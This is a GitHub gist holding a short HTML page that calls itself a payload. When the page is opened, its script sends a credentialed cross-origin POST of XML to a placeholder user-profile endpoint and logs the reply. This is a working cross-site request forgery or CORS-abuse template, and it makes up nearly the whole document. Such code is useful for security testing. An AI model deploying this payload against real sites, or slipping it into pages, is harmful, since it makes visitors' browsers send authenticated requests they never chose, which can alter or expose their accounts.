Skip to content

Instantly share code, notes, and snippets.

@nabla-c0d3
Created March 2, 2015 06:04
Show Gist options
  • Save nabla-c0d3/961af2560634ff53cb77 to your computer and use it in GitHub Desktop.
Save nabla-c0d3/961af2560634ff53cb77 to your computer and use it in GitHub Desktop.
HTML Payload to send a POST request via JS
<html>
<head>
<script>
function postData(url, body) {
var http = new XMLHttpRequest;
http.open("POST", url, true);
http.setRequestHeader('Content-Type', 'text/xml');
http.withCredentials = 'true';
http.onreadystatechange = function() {
if(http.readyState == 4) {
console.log("response 4: " + http.responseText);
} else {
console.log("state " + http.readyState);
}
}
http.send(body);
}
</script>
</head>
<body>
<script>
postData('https://www.url-to-post-to.com/service/user/xml/profile/', 'test');
</script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment